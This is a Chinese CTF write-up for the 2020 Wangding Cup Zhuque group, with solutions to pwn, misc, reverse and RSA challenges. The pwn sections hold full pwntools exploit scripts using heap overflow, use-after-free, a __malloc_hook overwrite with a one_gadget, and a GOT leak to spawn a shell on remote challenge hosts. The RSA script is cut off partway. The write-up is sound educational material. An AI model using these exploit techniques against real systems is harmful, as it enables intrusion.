Skip to content

Latest commit

 

History

History
1023 lines (864 loc) · 37.3 KB

2020网鼎杯-朱雀组-部分wp.md

File metadata and controls

1023 lines (864 loc) · 37.3 KB

原文链接: https://www.anquanke.com//post/id/205578

2020网鼎杯-朱雀组-部分wp

                            阅读量   
                            **183884**
                        
                    |
                    
                                                        评论
                            <b>
                                <a target="_blank">3</a>
                            </b>
                                                                                                                                ![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)

PWN

云盾

题目基本信息:保护全开,ubuntu16.04上的64位PWN

radish ➜ pwn1  file pwn
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8298b1a21cb8759bd1d70177eca6907f0227b77, not stripped
 radish ➜ pwn1  checksec --file pwn
[*] '/media/psf/Home/Desktop/xe7xbdx91xe9xbcx8e/pwn1/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
 radish ➜ pwn1

在IDA里面分析程序流程

映入眼帘的是程序中存在使用system函数,根据交叉引用发现存在后门函数

然后给我的反应这道题十有八九是栈溢出,开始分析程序,程序流程比较复杂,main函数在IDA里转伪C如下所示:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
`{`
  char *v3; // rsi
  int i; // [rsp+Ch] [rbp-D4h]
  char *v5; // [rsp+10h] [rbp-D0h]
  char *format; // [rsp+18h] [rbp-C8h]
  char s; // [rsp+20h] [rbp-C0h]
  char v8; // [rsp+21h] [rbp-BFh]
  char v9; // [rsp+22h] [rbp-BEh]
  char v10; // [rsp+23h] [rbp-BDh]
  char v11; // [rsp+24h] [rbp-BCh]
  char v12; // [rsp+25h] [rbp-BBh]
  char v13; // [rsp+26h] [rbp-BAh]
  char v14; // [rsp+27h] [rbp-B9h]
  char dest; // [rsp+60h] [rbp-80h]
  unsigned __int64 v16; // [rsp+C8h] [rbp-18h]

  v16 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = 0LL;
  setbuf(stderr, 0LL);
  v5 = 0LL;
  format = 0LL;
  puts("      Welcome to skShell v0.0.0!");
  puts("-----------------------------------------");
  puts("     Protected by skYunDun v0.0.0 ");
  puts("-----------------------------------------");
  puts("      skYunDun -- Industry leader");
  puts("  We are making this world safer than ever.");
  while ( 1 )
  `{`
    do
    `{`
      while ( 1 )
      `{`
        while ( 1 )
        `{`
          do
          `{`
            while ( 1 )
            `{`
              while ( 1 )
              `{`
                printf("&gt; ", v3);
                v3 = (_BYTE *)(&amp;dword_30 + 2);
                fgets(&amp;s, 0x32, stdin);
                if ( s == 'l' &amp;&amp; v8 == 's' )
                  puts("flagtpwnt1t2");
                if ( s == 'c' )
                  break;
                if ( s == 'v' )
                `{`
                  if ( v8 == 'i' &amp;&amp; v9 == 'm' )
                  `{`
                    puts("------skVim v0.0.0------");
                    if ( v10 == ' ' )
                    `{`
                      if ( v11 != '1' || v12 != 'n' )
                      `{`
                        if ( v11 != '2' || v12 != 'n' )
                        `{`
                          puts("[!] File not exist!");
                        `}`
                        else
                        `{`
                          format = (char *)malloc(0x30uLL);
                          if ( format )
                          `{`
                            printf("&gt; ", 0x32LL);
                            v3 = format;
                            _isoc99_scanf("%70s", format);
                            puts("Done!");
                          `}`
                          else
                          `{`
                            puts("[!] Error! Bad fd detected!");
                          `}`
                        `}`
                      `}`
                      else
                      `{`
                        v5 = (char *)malloc(0x60uLL);
                        if ( v5 )
                        `{`
                          printf("&gt; ", 0x32LL);
                          v3 = v5;
                          _isoc99_scanf("%70s", v5);
                          puts("Done!");
                        `}`
                        else
                        `{`
                          puts("[!] Error! Bad fd detected!");
                        `}`
                      `}`
                    `}`
                    else
                    `{`
                      puts("[!] Error! Missing an parameter!");
                    `}`
                  `}`
                `}`
                else if ( s == 'r' &amp;&amp; v8 == 'm' &amp;&amp; v9 == ' ' )
                `{`
                  if ( v10 == '1' )
                  `{`
                    if ( *(v5 - 16) )
                    `{`
                      puts(
                        "---------------skYunDun v0.0.0---------------n"
                        "[!] Detected an heap leak!n"
                        "[!] Rolling back....");
                      v5 = 0LL;
                      format = 0LL;
                    `}`
                    else
                    `{`
                      free(v5);
                    `}`
                  `}`
                  else if ( v10 == '2' )
                  `{`
                    free(format);
                  `}`
                `}`
              `}`
              if ( v8 != 'd' )
                break;
              if ( v9 == ' ' )
              `{`
                v3 = &amp;v10;
                strcpy(&amp;dest, &amp;v10);
                changedir(&amp;dest);
              `}`
            `}`
          `}`
          while ( v8 != 'a' || v9 != 't' || v10 != ' ' );
          if ( v11 != '1' )
            break;
          if ( v5 )
            puts(v5);
        `}`
        if ( v11 == '2' )
          break;
        if ( v11 != 'f' || v12 != 'l' || v13 != 'a' || v14 != 'g' )
        `{`
          if ( v11 != 'p' || v12 != 'w' || v13 != 'n' )
            puts("[!] No such file!");
          else
            puts("[!] Cannot view a binary file!");
        `}`
        else
        `{`
          puts("[!] This file is protected by skYunDun");
        `}`
      `}`
    `}`
    while ( !format );
    for ( i = 0; ; ++i )
    `{`
      if ( i &gt;= strlen(format) )
        goto LABEL_27;
      if ( format[i] == '%' &amp;&amp; format[i + 1] == 'n'
        || format[i] == '%' &amp;&amp; format[i + 1] == 'h'
        || format[i] == '%' &amp;&amp; format[i + 1] == 'x' )
      `{`
        break;
      `}`
    `}`
    puts("---------------skYunDun v0.0.0---------------n[!] Detected an format attack!n[!] Rolling back....");
    *format = 0;
LABEL_27:
    printf(format, 0x32LL);
    putchar(10);
  `}`
`}`

审计一遍发现没有栈溢出,而是找到一处堆溢出!

该程序模拟实现了linux终端,可以执行的命令包含:

ls:输出固定格式,四个文件

if ( s == 'l' &amp;&amp; v8 == 's' )
    puts("flagtpwnt1t2");

vim:只能够修改文件名字为12

修改文件1时程序申请0x30大小的堆块,然后用户输入70大小的字符串,这里存在堆溢出,修改文件2时程序申请0x60大小的堆块,然后用户还是输入70大小的字符串,这里就不存在溢出了

if ( s == 'v' )
                `{`
                  if ( v8 == 'i' &amp;&amp; v9 == 'm' )
                  `{`
                    puts("------skVim v0.0.0------");
                    if ( v10 == ' ' )
                    `{`
                      if ( v11 != '1' || v12 != 'n' )
                      `{`
                        if ( v11 != '2' || v12 != 'n' )
                        `{`
                          puts("[!] File not exist!");
                        `}`
                        else
                        `{`
                          format = (char *)malloc(0x30uLL);
                          if ( format )
                          `{`
                            printf("&gt; ", 0x32LL);
                            v3 = format;
                            _isoc99_scanf("%70s", format);
                            puts("Done!");
                          `}`
                          else
                          `{`
                            puts("[!] Error! Bad fd detected!");
                          `}`
                        `}`
                      `}`
                      else
                      `{`
                        v5 = (char *)malloc(0x60uLL);
                        if ( v5 )
                        `{`
                          printf("&gt; ", 0x32LL);
                          v3 = v5;
                          _isoc99_scanf("%70s", v5);
                          puts("Done!");
                        `}`
                        else
                        `{`
                          puts("[!] Error! Bad fd detected!");
                        `}`
                      `}`
                    `}`

cat:只能够查看文件名字为1和2的内容

if ( v11 != '1' )
            break;
          if ( v5 )
            puts(v5);
        `}`
        if ( v11 == '2' )
          break;
        if ( v11 != 'f' || v12 != 'l' || v13 != 'a' || v14 != 'g' )
        `{`
          if ( v11 != 'p' || v12 != 'w' || v13 != 'n' )
            puts("[!] No such file!");
          else
            puts("[!] Cannot view a binary file!");
        `}`

rm:把文件1或2的堆块给free掉,这里存在UAF漏洞,但是这里存在一个堆块结构的验证,之后在构造payload的时候需要注意

else if ( s == 'r' &amp;&amp; v8 == 'm' &amp;&amp; v9 == ' ' )
                `{`
                  if ( v10 == '1' )
                  `{`
                    if ( *(v5 - 16) )
                    `{`
                      puts(
                        "---------------skYunDun v0.0.0---------------n"
                        "[!] Detected an heap leak!n"
                        "[!] Rolling back....");
                      v5 = 0LL;
                      format = 0LL;
                    `}`
                    else
                    `{`
                      free(v5);
                    `}`
                  `}`
                  else if ( v10 == '2' )
                  `{`
                    free(format);
                  `}`
                `}`
              `}`

程序基本流程已经知道,漏洞点已经找出,存在堆溢出、UAF漏洞

攻击流程:

  • 先利用溢出触发堆块可以进入unsortbin中,从而可以在堆块中出现libc地址
  • 利用UAF来泄露出libc地址
  • 利用`double free`来修改`__malloc_hook为one_gg`
  • 成功`getshell`
    exp:
  • ``` from pwn import * # from LibcSearcher import * context.log_level='debug' debug = 0 file_name = './pwn' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' ip = '59.110.243.101' prot = '25413' if debug: r = process(file_name) libc = ELF(libc_name) else: r = remote(ip,int(prot)) libc = ELF(libc_name)

    def debug(): gdb.attach(r) raw_input()

    file = ELF(file_name) sl = lambda x : r.sendline(x) sd = lambda x : r.send(x) sla = lambda x,y : r.sendlineafter(x,y) rud = lambda x : r.recvuntil(x,drop=True) ru = lambda x : r.recvuntil(x) li = lambda name,x : log.info(name+':'+hex(x)) ri = lambda : r.interactive() ru("> ") sl("vim 2") ru("> ") sl("test")

    ru("> > ") sl("vim 1") ru("> ") sl("test")

    ru("> > ") sl("rm 2")

    ru("> ") sl("vim 2") ru("> ") sl("a"*0x30+p64(0)+p64(0x91)) ru("> > ") sl("vim 2") ru("> ") sl(p64(0)*3+p64(0x21))

    ru("> > ") sl("rm 1")

    ru("> ") sl("cat 1") libc_base = u64(rud("x0a")+"x00x00")-3951480 li("libc_base",libc_base)#0x7fbabada7000

    system = libc_base+libc.symbols['system'] malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x13 one_gg = 0xf02a4 + libc_base

    ru("> ") sl("vim 2") ru("> ") sl("test")

    ru("> ") sl("vim 2") ru("> ") sl("test")

    ru("> ") sl("vim 2") ru("> ") sl("test")

    ru("> > ") sl("vim 1") ru("> ") sl("test")

    ru("> > ") sl("rm 2")

    ru("> ") sl("rm 1")

    ru("> ") sl("vim 2") ru("> ") sl("a"*0x30+p64(0)+p64(0x71)+p64(malloc_hook)[:6])

    ru("> > ") sl("vim 1") ru("> ") sl("a"*0x30)

    ru("> > ") sl("vim 1") ru("> ") sl("aaa"+p64(one_gg))

    ru("> ") sl("vim 2")

    ri() ''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL

    0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL

    0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL

    0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''

    
    ### <a class="reference-link" name="%E9%AD%94%E6%B3%95%E5%AD%A6%E9%99%A2"></a>魔法学院
    
    题目基本信息:保护只开启了NX和canary,`ubuntu16.04`上的64位`PWN`
    
    

    radish ➜ pwn3 file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f5509bf1f16f14926887f9f792ac47b65fb87dff, stripped radish ➜ pwn3 checksec --file pwn [*] '/media/psf/Home/Desktop/xe7xbdx91xe9xbcx8e/pwn3/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) radish ➜ pwn3

    
    在IDA里面分析程序,发现和之前做过的一个题非常的相似`攻防世界-hacknote`,只不过是32位变成64位程序,利用方法都是一样的
    
    审计程序发现存在UAF漏洞
    
    程序中的主要结构体:
    
    

    struct magic{ char *put_text_fun_addr; char *text_addr; }

    
    攻击流程:
    - 首先申请两个text大小为0x20字节的magic
    - 依此释放掉note0、note1
    - 再申请一个text大小为8字节的note,此时note0的结构体就被覆盖
    - leak 真实地址
    - getshell
    exp:
    
    

    from pwn import * import sys context.log_level='debug' debug = 0 file_name = './pwn' libc_name = '/lib/x86_64-linux-gnu/libc.so.6' ip = '59.110.243.101' prot = '54621' if debug: r = process(file_name) libc = ELF(libc_name) else: r = remote(ip,int(prot)) libc = ELF(libc_name)

    file = ELF(file_name)

    sl = lambda x : r.sendline(x) sd = lambda x : r.send(x) sla = lambda x,y : r.sendlineafter(x,y) rud = lambda x : r.recvuntil(x,drop=True) ru = lambda x : r.recvuntil(x) li = lambda name,x : log.info(name+':'+hex(x)) ri = lambda : r.interactive() def add(chunk_size,value): ru('Your choice :') sl('1') ru('magic cost ?:') sl(str(chunk_size)) ru('name :') sl(value) def delete(index): ru('Your choice :') sl('2') ru('index :') sl(str(index)) def show(index): ru('Your choice :') sl('3') ru('index :') sl(str(index)) def debug(): gdb.attach(r) raw_input()

    add(0x20,"/bin/shx00")#0 add(0x20,"/bin/shx00")#1 delete(0)#0 delete(1)#1 puts_got = file.got['puts'] li("puts_got ", puts_got)

    puts_got = file.got['puts']

    li("puts_got ", puts_got)

    puts = 0x400886 pay = p64(puts_got)+p64(puts) add(0x10,pay)#2

    gdb.attach(r)

    show(0) puts_addr = u64(rud("n")+"x00x00") li("puts_addr ", puts_addr) base_addr = puts_addr - libc.symbols['puts'] system_addr = base_addr+libc.symbols['system'] li("base_addr",base_addr) delete(2) pay = "/bin/shx00"+p64(system_addr) add(0x10,pay)#2 show(0) ri()

    
    
    
    ## misc
    
    ### <a class="reference-link" name="%E4%B9%9D%E5%AE%AB%E6%A0%BC"></a>九宫格
    
    题目提供了576个二维码,经过测试发现扫出来的是`zero`和`one`,也就是0和1,利用工具批量扫一下,得到二进制字符串
    
    

    010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001

    
    然后进行转16进制发现是一串已经加密后的字符串
    
    

    aaa = "010101010011001001000110011100110110010001000111010101100110101101011000001100010011100101101010010101000110100001111000010101110111000101001011011011010101100101010100010110100101000000110001010110000011010001000001011001100111010101000110010010100010111100110111010001100110110001110001010010010100011000110001010010110100100001010001010101000101001000110101010100110011011000110011011110100100111101101011011110010110111101011000001100110011011001101110010110100110110001100001010011110111000100110100010110000011010001101011011011000111011101010010011101110111000101100001" flag = "" for x in range(0,len(aaa),8): flag += chr(eval("0b"+aaa[x:x+8]))

    print base64.b64decode(flag)

    print flag #U2FsdGVkX19jThxWqKmYTZP1X4AfuFJ/7FlqIF1KHQTR5S63zOkyoX36nZlaOq4X4klwRwqa

    
    然后观察题目描述:在九宫格内把1-9数字填入,使其横加竖加斜加都为15,将对角线的数字排列组合从打到小的顺序为本题的重要信息
    
    百度一番得到: 对角线排序之后是245568,猜测这个是秘钥
    
    

    8 1 6 3 5 7 4 9 2

    
    一个一个的试就完事了,AES、DES等等,最后发现是Rabbit加密
    
    [![](https://s1.ax1x.com/2020/05/18/Yhx3vQ.png)](https://s1.ax1x.com/2020/05/18/Yhx3vQ.png)
    
    [解密网站](https://www.sojson.com/encrypt_rabbit.html)
    
    ### <a class="reference-link" name="key"></a>key
    
    题目提供了两个图片,但是第一张在mac上无法显示,在win上可以,所以认为是修改了高度,在010editor修改高度
    
    [![](https://s1.ax1x.com/2020/05/18/YhxUU0.png)](https://s1.ax1x.com/2020/05/18/YhxUU0.png)
    
    发现多出来一串字符,提取出来
    
    

    295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656

    
    解密一番无果
    
    然后看第二张图片,在010editor可以看出来里面含有flag.txt文件,所以猜测是压缩包
    
    [![](https://s1.ax1x.com/2020/05/18/YhxwCT.png)](https://s1.ax1x.com/2020/05/18/YhxwCT.png)
    
    通过改后缀名字为rar即可,但是有密码
    
    [![](https://s1.ax1x.com/2020/05/18/Yhx08U.png)](https://s1.ax1x.com/2020/05/18/Yhx08U.png)
    
    密码肯定和第一张图片中的字符串有关
    
    最后在`https://www.cnblogs.com/kagari/p/10833116.html`这里看到了差分曼彻斯特编码,然后尝试解了一下,谁曾想,真的是这个加密!!!
    
    

    aaa = "295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656" enc = "" for x in range(0,len(aaa),2): enc+=str(bin(eval("0x"+aaa[x:x+2])))[2:].rjust(8,"0") print enc s = "1110100101011001011001010101011010011010010110010110011010010110100110010101101010011010101010010110100110011001011010100110101010011010011001101001100101100101011001010110100101101001100110010110100101011001011001101001010101100110101001010110010101010110100110010110011010011010101001010110010101101001011001101010010101100110101001010110011001010110" r="" tmp = 0 for i in xrange(len(s)/2): c = s[i2] if c == s[i2 - 1]: r += '1' else: r += '0' print hex(int(r,2))[2:-1].decode('hex')

    
    > 需要注意的是,十六进制转成二进制后需要,每一个都要填充成8位长度,第一个字符的前两位需要从`00`改成`11`(10,01,11,00)都试一遍,不进行这个操作的话,解出来的第一个字符不在ASCii范围内
    
    

    radish ➜ key_123 python test.py 0010100101011001011001010101011010011010010110010110011010010110100110010101101010011010101010010110100110011001011010100110101010011010011001101001100101100101011001010110100101101001100110010110100101011001011001101001010101100110101001010110010101010110100110010110011010011010101001010110010101101001011001101010010101100110101001010110011001010110 Sakura_Love_Strawberry radish ➜ key_123

    
    最终解出来是`Sakura_Love_Strawberry`,用这个来解压刚刚的压缩包即可获取到flag
    
    
    
    ## Reverse
    
    ### <a class="reference-link" name="tree"></a>tree
    
    Win32 PE 逆向
    
    放入IDA分析,main函数如下所示:
    
    

    int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+1Dh] [ebp-33h] bool v5; // [esp+48h] [ebp-8h] int v6; // [esp+4Ch] [ebp-4h]

    __main(); init(); puts(aInputYourFlag); scanf("%43s", &v4); v6 = chkflag(&v4); v5 = parse(root); if ( v6 || v5 != 1 ) puts("No no no~~"); else puts("Congratulations!"); return 0; }

    
    在init中初始化了全局变量root,经调试,在内存中如图所示
    
    [![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)](https://s1.ax1x.com/2020/05/18/Yhxyr9.png)
    
    深颜色的就是初始化过的root,可以明显的看出来这是一组地址
    
    然后程序让输入43位flag,进入chkflag里面第一次检查flag格式
    
    

    signed int __cdecl chkflag(char *a1) { size_t v2; // ebx char v3[4]; // [esp+1Dh] [ebp-3Bh] size_t i; // [esp+48h] [ebp-10h] int v5; // [esp+4Ch] [ebp-Ch]

    strcpy(v3, "flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"); v5 = -1; for ( i = 0; ; ++i ) { v2 = i; if ( v2 >= strlen(v3) ) break; if ( v3[i] == 'x' ) { ++v5; switch ( a1[i] ) { case '0': glockflag[4 * v5] = '0'; glockflag[4 * v5 + 1] = '0'; glockflag[4 * v5 + 2] = '0'; glockflag[4 * v5 + 3] = '0'; break; case '1': glockflag[4 * v5] = '0'; glockflag[4 * v5 + 1] = '0'; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = '1'; break; case '2': glockflag[4 * v5] = 48; glockflag[4 * v5 + 1] = 48; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 48; break; case '3': glockflag[4 * v5] = 48; glockflag[4 * v5 + 1] = 48; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 49; break; case '4': glockflag[4 * v5] = 48; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = 48; break; case '5': glockflag[4 * v5] = 48; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = 49; break; case '6': glockflag[4 * v5] = 48; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 48; break; case '7': glockflag[4 * v5] = 48; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 49; break; case '8': glockflag[4 * v5] = 49; glockflag[4 * v5 + 1] = 48; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = 48; break; case '9': glockflag[4 * v5] = '1'; glockflag[4 * v5 + 1] = '0'; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = 49; break; case 'a': glockflag[4 * v5] = '1'; glockflag[4 * v5 + 1] = '0'; glockflag[4 * v5 + 2] = '1'; glockflag[4 * v5 + 3] = '0'; break; case 'b': glockflag[4 * v5] = 49; glockflag[4 * v5 + 1] = 48; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 49; break; case 'c': glockflag[4 * v5] = 49; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = 48; break; case 'd': glockflag[4 * v5] = 49; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 48; glockflag[4 * v5 + 3] = 49; break; case 'e': glockflag[4 * v5] = 49; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 48; break; case 'f': glockflag[4 * v5] = 49; glockflag[4 * v5 + 1] = 49; glockflag[4 * v5 + 2] = 49; glockflag[4 * v5 + 3] = 49; break; default: return -1; } } else if ( a1[i] != v3[i] ) { return -1; } } return 0; }

    
    格式限制为flag`{`xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`}`,其中x代表字符,范围在0~f内,不同的字符定义了不同的规则,glockflag是规则所存的地址,每四个数为一组,根据我们输入的flag然后初始化glockflag全局变量
    
    然后进入到parse函数进行第二次检查,参数为root,root此时已经初始化完毕
    
    

    bool __cdecl parse(int a1) { char v2[60]; // [esp+18h] [ebp-50h] int v3; // [esp+54h] [ebp-14h] int v4; // [esp+58h] [ebp-10h] int v5; // [esp+5Ch] [ebp-Ch]

    v5 = 0; v4 = 0; v3 = a1; do { if ( glockflag[v5] == '0' ) { v3 = *(v3 + 0xC); } else if ( glockflag[v5] == '1' ) { v3 = *(v3 + 0x10); } ++v5; if ( *v3 > 0x60 && *v3 <= 0x7A ) { v2[v4++] = *v3; v3 = a1; } } while ( v5 <= 127 ); v2[v4] = 0; return strncmp("zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx", v2, 33u) == 0; }

    
    每四个数一组,根据glockflag来让v3也就是root来嵌套寻找字符,如果是地址的话就继续根据规则来找,如果根据地址嵌套找到的是a b c d e f g h i j k l m n o p q r s t u v w x y,就直接复制给v2,v2到最后会和密文进行比较,也就是zvzjyvosgnzkbjjjypjbjdvmsjjyvsjx,这些字符在一下内存保存着
    
    [![](https://s1.ax1x.com/2020/05/18/YhxfPK.png)](https://s1.ax1x.com/2020/05/18/YhxfPK.png)
    
    以第一个字符z来具体写一下思路:
    
    z所在的地址是0x4062d8
    
    [![](https://s1.ax1x.com/2020/05/18/Yhx5xe.png)](https://s1.ax1x.com/2020/05/18/Yhx5xe.png)
    
    在全局变量root中找到这个地址在0x406464,我们知道找Z的话是通过偏移0xC或者或者0x16,所以一组地址5个4字节数据
    
    [![](https://s1.ax1x.com/2020/05/18/YhxTrd.png)](https://s1.ax1x.com/2020/05/18/YhxTrd.png)
    
    当前的是可以看到偏移是0xc,所以对应的是0
    
    [![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)](https://s1.ax1x.com/2020/05/18/YhxLIP.png)
    
    然后接着找0x406458,存这个地址的是在0x4064e0,所在的组地址是0x4064d0,对应的偏移是0x10,所以对应的是1
    
    [![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)](https://s1.ax1x.com/2020/05/18/YhxXPf.png)
    
    接着找0x4064d0,所在的组地址是0x406518,偏移是0xc,对应的是0
    
    [![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)](https://s1.ax1x.com/2020/05/18/YhxvRS.png)
    
    接着找0x406518,所在的组地址在0x406530,偏移是0x10,对应的是1
    
    [![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)](https://s1.ax1x.com/2020/05/18/Yhziaq.png)
    
    所以如果要找到Z的话,规则应该是1010(刚刚照的倒叙),然后再看chkflag函数中定义规则,如果我们输入的字符是a的话,就会把规则初始化城1010
    
    [![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB/AAffA0nNPuCLAAAAAElFTkSuQmCC)](https://s1.ax1x.com/2020/05/18/YhzSMQ.png)
    
    然后flag中的第一个x就是a了,根据以上的原则一位一位的反推就可以把flag推出来了
    
    > 当然还可以用二叉树的方法来解这道题
    
    
    
    ## Crypto
    
    ### <a class="reference-link" name="RUA"></a>RUA
    
    题目附件如下所示:文件名就是rsa
    
    

    密文 8024667293310019199660855174436055144348010556139300886990767145319919733369837206849070207955417356957254331839203914525519504562595117422955140319552013305532068903324132309109484106720045613714716627620318471048195232209672212970269569790677144450501305289670783572919282909796765124242287108717189750662740283813981242918671472893126494796140877412502365037187659905034193901633516360208987731322599974612602945866477752340080783296268396044532883548423045471565356810753599618810964317690395898263698123505876052304469769153374038403491084285836952034950978098249299597775306141671935146933958644456499200221696 n 18856599160001833299560082802925753595735945621023660831294740454109973698430284916320395522883536507135735383517926050963512440162483065097256884040938259092582892259657340825971260278387406398529168309426241530551396056450450728728601248269612166083300938497235910244979946020059799495231539400114422748104072550004260736766137354572252872437140063474603268146956570787143010441293268321641092743010805639953103578977668248726500636191043930770036787317928372179939360510179438436665591755940224156131460271763912868322774604558314812111335691108887319827579162188169744014973478052491398688611046800951698773893393

    密文 17388575106047489057419896548519877785989670179021521580945768965101106268068805843720622749203590810185213416901978773748832854888898576822477243682874784689127705334243899967896321836688567602323551986980634884700045627950473546069670440078998428940082620044462222475031805594211784370238038168894827559017562364252406425134530719911057780692073760058203345936344269833206906999625580911856011564697811258009937314511410514416706482571471852503756675411177080916350899445106002226392895645443215522671155311715637759618276305217468892076287376401516124640727839779731609203202530346427613422430202271506248285086956 n 21996468204721630460566169654781925102402634427772676287751800587544894952838038401189546149401344752771866376882226876072201426041697882026653772987648569053238451992877808811034545463363146057879646485465730317977739706776287970278094261290398668538232727000322458605289913900919015380904209692398479885177984131014170652915222062267448446642158394150657058846328033404309210836219241651882903083719822769947131283541299760283547938795574020478852839044803553093825730447126796668238131579735916546235889726257184058908852902241422169929720898025622336508382492878690496154797198800699611812166851455110635853297883

    密文 5170826942130658374627267470548549396328896108666717036999395626588154882531377393671593939192779292151584678688653835775920356845071292462816417186595460417761844407911946323815187102170021222644920874070699813549492713967666736815947822200867353461264579419205756500926218294604616696969184793377381622818381733352202456524002876336304465082656612634304327627259494264840838687207529676882041997761204004549052900816658341867989593333356630311753611684503882509990853456022056473296726728969894815574884063807804354952314391764618179147583447848871220103094864884798102542377747761263052887894135796051521881179607 n 22182114562385985868993176463839749402849876738564142471647983947408274900941377521795379832791801082248237432130658027011388009638587979450937703029168222842849801985646044116463703409531938580410511097238939431284352109949200312466658018635489121157805030775386698514705824737070792739967925773549468095396944503293347398507980924747059180705269064441084577177316227162712249300900490014519213102070911105044792363935553422311683947941027846793608299170467483012199132849683112640658915359398437290872795783350944147546342693285520002760411554647284259473777888584007026980376463757296179071968120796742375210877789

    
    所以很明显是rsa广播攻击,一把梭即可
    
    exp:
    
    

    coding:utf8

    from struct import pack, unpack import zlib import gmpy def my_parse_number(number): string = "%x" % number #if len(string) != 64: # return "" erg = [] while string != '': erg = erg + [chr(int(string[:2], 16))] string = string[2:] return ''.join(erg)

    def extended_gcd(a, b): x,y = 0, 1 lastx, lasty = 1, 0 while b: a, (q, b) = b, divmod(a,b) x, lastx = lastx-qx, x y, lasty = lasty-qy, y return (lastx, lasty, a)

    def chinese_remainder_theorem(items): N = 1 for a, n in items: N = n result = 0 for a, n in items: m = N/n r, s, d = extended_gcd(n, m) if d != 1: N=N/n continue #raise "Input not pairwise co-prime" result += as*m return result % N, N

